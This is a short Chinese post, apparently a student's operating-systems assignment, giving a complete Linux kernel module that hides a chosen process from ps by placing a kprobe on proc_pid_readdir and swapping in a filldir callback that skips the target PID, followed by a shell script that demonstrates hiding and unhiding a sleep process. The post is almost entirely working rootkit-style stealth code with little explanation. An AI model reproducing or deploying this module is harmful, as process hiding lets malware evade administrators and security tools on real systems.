Linux内核通过inline hook实现隐藏进程

这是我们操作系统的大作业。
原理就是inline hook 那个 proc 文件系统，根目录下的 readdir 的函数。
替换掉第三个参数，filldir。
代码爆短，60来行。
Ubuntu 10.04 测试可用。

#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/fs.h>

int register_kprobe( struct kprobe *kp);

static  struct kprobe kp =  {
    .symbol_name    = "proc_pid_readdir",
};

static filldir_t old_filldir;
static  int pid;

module_param(pid,  int, 0744);

static  int filldir( void * __buf,  const  char * name,  int namlen, loff_t offset,
           u64 ino, unsigned  int d_type)
{
    int p;
    sscanf(name, "%d", &p);
    if (p == pid)
        return 0;
    return old_filldir(__buf, name, namlen, offset, ino, d_type);
}


/* kprobe pre_handler: called just before the probed instruction is executed */
static  int handler_pre( struct kprobe *pr,  struct pt_regs *regs)
{
    old_filldir = (filldir_t)regs->cx;
    regs->cx = (typeof(regs->cx))filldir;
    return 0;
}

static  int __init k_init( void)
{
    int ret;

    kp.pre_handler = handler_pre;

    ret = register_kprobe(&kp);
    if (ret < 0) {
        printk(KERN_INFO "register_kprobe failed, returned %d\n", ret);
        return ret;
    }
    printk(KERN_INFO "Planted kprobe at %p; pid %d\n", kp.addr, pid);

    return 0;
}

static  void __exit k_exit( void)
{
    unregister_kprobe(&kp);
    printk(KERN_INFO "kprobe at %p unregistered\n", kp.addr);
}

module_init(k_init);
module_exit(k_exit);
MODULE_LICENSE("GPL");

sleep 1000 &
pid=`jobs -p`
echo 'before hide'
ps aux | grep $pid
insmod k.ko pid=$pid
echo 'after hide'
ps aux | grep $pid
rmmod k.ko
echo 'after unhide'
ps aux | grep $pid